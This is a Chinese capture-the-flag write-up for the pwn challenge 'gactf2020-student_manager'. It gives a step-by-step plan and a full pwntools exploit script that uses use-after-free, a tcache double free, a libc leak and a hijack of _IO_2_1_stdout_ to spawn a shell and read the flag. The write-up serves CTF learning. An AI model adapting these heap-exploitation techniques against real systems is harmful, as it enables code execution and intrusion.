当前位置: 首页 > 工具软件 > Ubun-student > 使用案例 >

[BMZCTF-pwn] 47-gactf2020-student_manager

段干兴业
2023-12-01

hook动态刷新,本以为不难,将free_hook改为system再free后发现没了。搜到exp才第一次知道动态刷新。

只能建0x24, 结构:+0:4字节score, +0x18:7字节name, +0x20:4字节id(相当于索引,通过id查)

解题思路:

  1. 先获得堆地址,由于有UAF,释放两个再show就行
  2. 通过doublefree将块建到tcache+8,在这里写0xFF (tcache 0xb0块计数器)
  3. 在第1个块+0x18位置写个b1(剩余半块和后边3个0x31一起释放得到libc)
  4. 将块建到第1个块+0x20处释放得到libc
  5. 将块建到tcache+0x40在tcache+0x58处写入_IO_2_1_stdout_ +0xd0 在+0xe8处写入system
  6. 同上步在_IO_2_1_stdout_ +0xd0处写入_IO_file_jumps+0x98 (不大明白,但就是这个地方)name为';sh
  7. 当输出name时执行system(XXXX';sh)

测试结果:

from pwn import *

elf = ELF('./pwn')
context.arch = 'amd64'

def connect(local=1):
    global p
    
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 27672) 

libc_elf = ELF('/home/shi/libc6_2.27-3ubuntu1/lib/x86_64-linux-gnu/libc-2.27.so')
one = [0x4f2c1,0x4f322,0x10a38c]
libc_start_main_ret = 0x21b97
context(arch='amd64')

menu = b"choice:"
def add(idx, name, score):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"student's id:", str(idx).encode())
    p.sendlineafter(b"student's name:", name)
    p.sendlineafter(b"student's score:", str(score).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"student's id:", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"student's id:", str(idx).encode())

def pwn():
    context.log_level = 'debug'

    for i in range(10):
        add(i, b'A', 0x21)
    free(0)
    free(1)
    show(1)
    p.recvuntil(b'score:')
    heap_addr = int(p.recvline()) - 0x13290
    print('head:', heap_addr)
    
    free(1)
    add(18, b'A', heap_addr + 0x18)
    add(19, b'A', 0x21)
    add(20, b'A', 0xffff) #tcache 0xb0 cnt=0xff

    free(2)
    free(3)
    free(3)
    add(21, b'A', heap_addr + 0x13298)
    add(22, b'A', 0x21)
    add(23, b'A', 0xb1)  #score = 0xb1 

    free(4)
    free(5)
    free(5)
    add(24, b'A', heap_addr + 0x132a0)
    add(25, b'A', 0x21)
    add(26, b'A', 0)
    free(26)
    show(0x41)
    p.recvuntil(b'name:')
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
    libc_elf.address = libc_base
    one_gadget= libc_base + one[2]     
    print('libc:', hex(libc_base))

    #ubuntu18 libc-2.27 hook动态刷新,劫持 _IO_2_1_stdout_ 
    free(6)
    free(6)
    free(7)
    free(7)
    add(27, b'A', heap_addr + 0x40)
    add(28, b'A', 0)
    add(29, p64(libc_elf.sym['_IO_2_1_stdout_']+ 0xd0)[:-1], 0)
    add(30, p64(libc_elf.sym['system'])[:-1], 0)  #_IO_2_1_stdout_+0xe8 = system

    free(8)
    free(8)
    free(9)
    free(9)
    add(31, b'A', heap_addr + 0x40)
    add(32, b'A', 0)
    add(33, p64(libc_elf.sym['_IO_2_1_stdout_']+ 0xd8)[:-1], 0)
    fake_vtable = (libc_elf.sym['_IO_file_jumps'] + 0x98) & 0xffffffff
    print('fake:', hex(fake_vtable))
    add(0,b"';sh", (fake_vtable-0x100000000)) #_IO_2_1_stdout_+0xf0 = ';sh _IO_2_1_stdout_+0xd0 = _IO_file_jumps+0x98
    p.recv()
    sleep(0.2)
    p.sendline(b'cat /flag')
    p.interactive()

connect(1)
pwn()

 类似资料: